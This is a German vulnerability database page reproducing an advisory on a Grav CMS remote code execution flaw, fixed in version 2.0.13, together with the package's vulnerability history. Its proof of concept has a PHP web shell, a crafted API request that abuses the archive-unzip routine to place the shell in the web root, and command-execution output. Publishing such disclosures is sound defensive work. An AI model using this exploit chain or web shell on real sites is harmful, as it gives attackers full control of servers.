Hoch

Grav CMS vulnerable to remote code execution via .zip file upload

  • Veröffentlicht: 17.09.2026
  • Aktualisiert: 11.10.2026 10:22

Summary

A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.

Details

The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.

The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.

Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.

PoC

  1. Log in at http://TARGET/login (or /admin). The session cookie is the only credential needed below.

  2. Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at /user/media/evil.zip.

    Zip the shell.php file with the php code mentioned below:

    php
    shell.php:  <?php system($_GET['c']); ?>
    zip evil.zip shell.php
  3. Send the request (attach your Cookie and X-API-Token):

    PATCH /api/v1/config/plugins/flex-objects
    Content-Type: application/json
    
    {
      "directories": ["user/config/plugins/flex-objects.yaml"],
      "title": "Pwn",
      "type": "flex-objects",
      "config": { "data": {
        "object":     "Grav\\Common\\Flex\\Types\\Generic\\GenericObject",
        "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection",
        "index":      "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex",
        "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage",
                     "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"},
                                  "folder": "user-data://flex-objects/pwn.json" } } } },
      "form": { "validation": "loose", "fields": {
        "name": {"type": "text", "label": "Name"},
        "pwn":  {"type": "text", "label": "pwn",
                 "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"],
                                   "user/media/evil.zip",
                                   "/absolute/path/to/grav-docroot"]} } }
    }
  4. Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):

    POST /api/v1/flex-objects/flex-objects
    Content-Type: application/json
    
    {"name": "x"}
    -> 201
  5. Open the file that was written:

    http://TARGET/shell.php?c=id
    -> PWNED:uid=1000(kali) gid=1000(kali) ...

Impact

Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Composer-Paket getgrav/grav < 2.0.13 2.0.13

Verweise

CVSS-Wert 8.8/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Schwäche (CWE)
CWE-94
Plattform
Composer
Paket
getgrav/grav
Veröffentlicht
17.09.2026
Aktualisiert
11.10.2026 10:22

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-r94f-hx44-8jqf - CC BY 4.0

Schwachstellenhistorie: getgrav/grav

Alle veröffentlichten Schwachstellen dieses Pakets (Composer-Paket), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (99) im Archiv
Einträge insgesamt
99
Erste → letzte
11.2019 09.2026
Ohne Fix
6
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 7
  • Hoch 47
  • Mittel 41
  • Niedrig 4

Veröffentlichungen pro Jahr

  1. 2019: 1
  2. 2020: 1
  3. 2021: 4
  4. 2022: 10
  5. 2023: 5
  6. 2024: 8
  7. 2025: 23
  8. 2026: 47
Schweregrad:
  1. Grav CMS vulnerable to remote code execution via .zip file upload dieser Eintrag
    Hoch · 8.8 CVE-2026-72819 < 2.0.13 2.0.13
  2. Hoch CVE-2026-53653 >= 2.0.0-beta.1, < 2.0.0-rc.8, < 1.7.53 2.0.0-rc.8, 1.7.53
  3. Hoch · 8.9 CVE-2026-42611 < 2.0.0-beta.2 2.0.0-beta.2
  4. Hoch · 8.5 CVE-2026-42612 < 2.0.0-beta.2 2.0.0-beta.2
  5. Kritisch · 9.4 CVE-2026-42613 < 2.0.0-beta.2 2.0.0-beta.2
  6. Kritisch · 9.1 CVE-2025-66844 <= 1.7.49.5 keine Korrektur
  7. Hoch CVE-2025-66298 < 1.8.0-beta.27 1.8.0-beta.27
  8. Hoch CVE-2025-66294 < 1.8.0-beta.27 1.8.0-beta.27
  9. Hoch · 8.5 CVE-2025-66300 < 1.8.0-beta.27 1.8.0-beta.27
  10. Hoch · 8.8 CVE-2025-66299 < 1.8.0-beta.27 1.8.0-beta.27
  11. Hoch · 8.5 CVE-2024-34082 < 1.7.46 1.7.46
  12. Hoch · 8.8 CVE-2024-28119 < 1.7.45 1.7.45
  13. Hoch · 8.8 CVE-2024-28118 < 1.7.45 1.7.45
  14. Hoch · 8.8 CVE-2024-28117 < 1.7.45 1.7.45
  15. Hoch · 8.8 CVE-2024-27921 < 1.7.45 1.7.45
  16. Hoch · 8.8 CVE-2024-27923 < 1.7.43 1.7.43
  17. Hoch · 7.2 CVE-2023-37897 < 1.7.42.2 1.7.42.2
  18. Hoch · 7.2 CVE-2023-34448 < 1.7.42 1.7.42
  19. Hoch · 7.2 CVE-2023-34252 < 1.7.42 1.7.42
  20. Kritisch · 9.1 CVE-2023-34251 < 1.7.42 1.7.42
  21. Hoch · 7.2 CVE-2022-2073 < 1.7.34 1.7.34
  22. Hoch · 8.1 CVE-2020-29555 >= 1.7.0-beta.1, <= 1.7.0-rc.17, < 1.6.30 1.6.30
  23. Hoch · 8.8 CVE-2020-29553 >= 1.7.0-beta.1, <= 1.7.0-rc.17, < 1.6.30 1.6.30
  24. Hoch · 7.1 CVE-2022-0970 < 1.7.31 1.7.31
  25. Hoch · 8.8 CVE-2021-3924 <= 1.7.24 keine Korrektur
  26. Hoch · 8.4 CVE-2021-29440 < 1.7.11 1.7.11

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.